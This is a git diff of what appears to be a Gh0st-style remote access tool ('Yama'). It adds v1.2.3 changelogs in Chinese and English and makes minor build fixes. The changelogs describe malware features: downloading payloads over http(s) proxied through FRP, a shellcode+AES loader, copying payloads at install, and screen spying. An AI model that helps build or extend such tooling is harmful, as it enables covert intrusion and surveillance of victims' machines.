diff --git a/ReadMe.md b/ReadMe.md index c8eaade..b52aa0c 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -203,6 +203,31 @@ for /R %F in (*.cpp *.h *.c) do astyle --style=linux "%F" 更早的变更记录参看:[history](./history.md) +**发布 v1.2.3(2026.1.21):** + +本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。 + +- 新功能:支持从 http(s) 服务器下载 payload +- 新功能:重构 ClientList 并添加对话框显示 +- 新功能:支持在屏幕控制中使用远程光标 +- 改进:使用 FRP 代理 payload 下载请求 +- 改进:`GetForegroundSelectedFiles` 后执行 `ExpandDirectories` +- 改进:更改某些对话框的 zstd 压缩选项 +- 改进:更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文 +- 改进:为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端 +- 改进:添加远程桌面工具栏的更多功能/按钮 +- 改进:改进远程控制 `ScreenSpyDlg` 重连逻辑 +- 改进:显示系统对话框中所有窗口状态 +- 改进:为 EXE 类型客户端添加更新逻辑 +- 修复:`GetPort` 导致不显示主机离线日志的问题 +- 修复:commit 2fb77d5 导致的 OnOnlineUpdate 问题 +- 修复:`GetProcessList` 无法获取某些进程完整路径的问题 +- 修复:时间检查以使重新分配的客户端立即恢复 +- 修复:#288 命令行问题 +- 修复:安装时复制 payload 文件到目标目录的问题 +- 修复:#281 检查 CPU 是否支持 SSE2 以避免客户端崩溃 +- 修复:远程桌面窗口恢复大小问题 + **发布 v1.2.2(2026.1.11):** 本版本主要增强远程桌面设置持久化、文件管理功能,并改进授权和键盘转发。 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index 0c337cb..17c15f6 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -206,6 +206,31 @@ For cross-network, cross-border, or international remote control system deployme For earlier changes, see: [history](./history.md) +**Release v1.2.3 (2026.1.21):** + +This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues. + +- Feature: Support download payload from http(s) server +- Feature: Refactor ClientList and add dialog to show it +- Feature: Support using remote cursor in screen control +- Improve: Use FRP to proxy payload download request +- Improve: `ExpandDirectories` after `GetForegroundSelectedFiles` +- Improve: Change zstd compression options for some dialog +- Improve: Update zlib to version `1.3.1.2` and use context in decompression +- Improve: Use old shellcode+AES loader to build client for Windows Server +- Improve: Add more features/buttons for remote desktop toolbar +- Improve: Improve remote control `ScreenSpyDlg` reconnect logic +- Improve: Show all windows status in system dialog +- Improve: Add client update logic for client type EXE +- Fix: `GetPort` issue causing not show host offline log +- Fix: OnOnlineUpdate caused by commit 2fb77d5 +- Fix: `GetProcessList` can't get some process full path +- Fix: Check time to make reassigned client restore immediately +- Fix: #288 Command line issues +- Fix: Copy payload file to target directory when installing +- Fix: #281 Check if CPU has SSE2 to avoid client crash +- Fix: Remote desktop window restore size issue + **Release v1.2.2 (2026.1.11):** This release enhances remote desktop settings persistence, file management features, and improves authorization and keyboard forwarding. diff --git a/Releases/v1.2.2/Yama.exe b/Releases/v1.2.3/Yama.exe similarity index 73% rename from Releases/v1.2.2/Yama.exe rename to Releases/v1.2.3/Yama.exe index 95f6fee..e2831e7 100644 Binary files a/Releases/v1.2.2/Yama.exe and b/Releases/v1.2.3/Yama.exe differ diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 127e788..410e3fb 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -138,7 +138,7 @@ 4018;4244;4267;4819;4838 - true + false true true zlib\zlib.lib;%(AdditionalDependencies) @@ -159,7 +159,7 @@ 4018;4244;4267;4819;4838 - true + false true true zlib\zlib_x64.lib;%(AdditionalDependencies) diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 773a519..96214b4 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -16,7 +16,7 @@ #include "ScreenSpy.h" #include "ScreenCapturerDXGI.h" #include -#include +#include #include "common/file_upload.h" #include #include "ClientDll.h" diff --git a/client/Script.rc b/client/Script.rc index daf821b..15adf5d 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -7,7 +7,7 @@ // // Generated from the TEXTINCLUDE 2 resource. // -#include "afxres.h" +#include ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,2,2 + FILEVERSION 1,0,2,3 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.2.2" + VALUE "FileVersion", "1.0.2.3" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index 4fae851..8ef9226 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -5,6 +5,10 @@ #include #include +#ifndef IMAGE_FILE_MACHINE_ARM64 +#define IMAGE_FILE_MACHINE_ARM64 0xAA64 +#endif + DWORD HashFunctionName(LPSTR name); BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, diff --git a/client/TestRun.rc b/client/TestRun.rc index b02ed2c..daa27a4 100644 Binary files a/client/TestRun.rc and b/client/TestRun.rc differ diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 78b8072..a41d368 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -134,7 +134,7 @@ 4018;4244;4267;4819;4838 - true + false true true Windows @@ -155,7 +155,7 @@ 4018;4244;4267;4819;4838 - true + false true true Windows diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 02196dd..81972c0 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -144,7 +144,7 @@ 4018;4244;4267;4819;4838 - true + false true true zlib\zlib.lib;%(AdditionalDependencies) @@ -167,7 +167,7 @@ 4018;4244;4267;4819;4838 - true + false true true zlib\zlib_x64.lib;%(AdditionalDependencies) diff --git a/common/mask.h b/common/mask.h index c1b85b7..cef8f9a 100644 --- a/common/mask.h +++ b/common/mask.h @@ -2,6 +2,13 @@ #include "header.h" +#ifndef IMAGE_FILE_MACHINE_ARM64 +#define IMAGE_FILE_MACHINE_ARM64 0xAA64 +#endif +#ifndef PROCESSOR_ARCHITECTURE_ARM64 +#define PROCESSOR_ARCHITECTURE_ARM64 12 +#endif + // 数据包协议封装格式 // Copy left: 962914132@qq.com & ChatGPT enum PkgMaskType { diff --git a/history.md b/history.md index e0e8c2f..1c4bfb2 100644 --- a/history.md +++ b/history.md @@ -556,6 +556,34 @@ Release v1.1.4 * 功能: 文件管理对话框支持压缩文件 * 改进: 添加 F10、WM_SYSKEYDOWN、WM_SYSKEYUP 的转发 + +**2026.01.21** + +发布版本 v1.2.3: + +本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。 + +* 功能: 支持从 http(s) 服务器下载 payload +* 功能: 重构 ClientList 并添加对话框显示 +* 功能: 支持在屏幕控制中使用远程光标 +* 改进: 使用 FRP 代理 payload 下载请求 +* 改进: `GetForegroundSelectedFiles` 后执行 `ExpandDirectories` +* 改进: 更改某些对话框的 zstd 压缩选项 +* 改进: 更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文 +* 改进: 为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端 +* 改进: 添加远程桌面工具栏的更多功能/按钮 +* 改进: 改进远程控制 `ScreenSpyDlg` 重连逻辑 +* 改进: 显示系统对话框中所有窗口状态 +* 改进: 为 EXE 类型客户端添加更新逻辑 +* 修复: `GetPort` 导致不显示主机离线日志的问题 +* 修复: commit 2fb77d5 导致的 OnOnlineUpdate 问题 +* 修复: `GetProcessList` 无法获取某些进程完整路径的问题 +* 修复: 时间检查以使重新分配的客户端立即恢复 +* 修复: #288 命令行问题 +* 修复: 安装时复制 payload 文件到目标目录的问题 +* 修复: #281 检查 CPU 是否支持 SSE2 以避免客户端崩溃 +* 修复: 远程桌面窗口恢复大小问题 + --- [English, since 2025] @@ -875,3 +903,30 @@ This release enhances remote desktop settings persistence, file management featu * Improve: Showing file transmit progress dialog * Feature: Support compress files in file management dialog * Improve: Add F10, WM_SYSKEYDOWN, WM_SYSKEYUP to forward + +**2026.01.21** + +Release v1.2.3 + +This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues. + +* Feature: Support download payload from http(s) server +* Feature: Refactor ClientList and add dialog to show it +* Feature: Support using remote cursor in screen control +* Improve: Use FRP to proxy payload download request +* Improve: `ExpandDirectories` after `GetForegroundSelectedFiles` +* Improve: Change zstd compression options for some dialog +* Improve: Update zlib to version `1.3.1.2` and use context in decompression +* Improve: Use old shellcode+AES loader to build client for Windows Server +* Improve: Add more features/buttons for remote desktop toolbar +* Improve: Improve remote control `ScreenSpyDlg` reconnect logic +* Improve: Show all windows status in system dialog +* Improve: Add client update logic for client type EXE +* Fix: `GetPort` issue causing not show host offline log +* Fix: OnOnlineUpdate caused by commit 2fb77d5 +* Fix: `GetProcessList` can't get some process full path +* Fix: Check time to make reassigned client restore immediately +* Fix: #288 Command line issues +* Fix: Copy payload file to target directory when installing +* Fix: #281 Check if CPU has SSE2 to avoid client crash +* Fix: Remote desktop window restore size issue diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index a54fa27..06aeef2 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h index 2a8b559..db74d15 100644 --- a/server/2015Remote/IOCPKCPServer.h +++ b/server/2015Remote/IOCPKCPServer.h @@ -29,7 +29,12 @@ public: virtual std::string GetPeerName() const override { char client_ip[INET_ADDRSTRLEN]; +#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; +#else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); +#endif return client_ip; } virtual int GetPort() const override diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 4f312ba..db0e3d7 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -731,7 +731,12 @@ public: virtual std::string GetPeerName() const override { char client_ip[INET_ADDRSTRLEN]; +#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; +#else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); +#endif return client_ip; } virtual int GetPort() const override diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp index b7ac148..41983b1 100644 --- a/server/2015Remote/pwd_gen.cpp +++ b/server/2015Remote/pwd_gen.cpp @@ -17,6 +17,7 @@ #include #include #include "common/commands.h" +#include #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "bcrypt.lib") @@ -85,8 +86,8 @@ std::string execCommand(const char* cmd) SAFE_CLOSE_HANDLE(pi.hThread); // 去除换行符和空格 - result.erase(remove(result.begin(), result.end(), '\n'), result.end()); - result.erase(remove(result.begin(), result.end(), '\r'), result.end()); + result.erase(std::remove(result.begin(), result.end(), '\n'), result.end()); + result.erase(std::remove(result.begin(), result.end(), '\r'), result.end()); // 返回命令的输出结果 return result.empty() ? "ERROR" : result; diff --git a/server/执行代码/执行代码.vcxproj b/server/执行代码/执行代码.vcxproj index 5072176..e7e8d58 100644 --- a/server/执行代码/执行代码.vcxproj +++ b/server/执行代码/执行代码.vcxproj @@ -81,7 +81,7 @@ Console true true - true + false $(SolutionDir)Bin\Plugins\$(TargetName)$(TargetExt)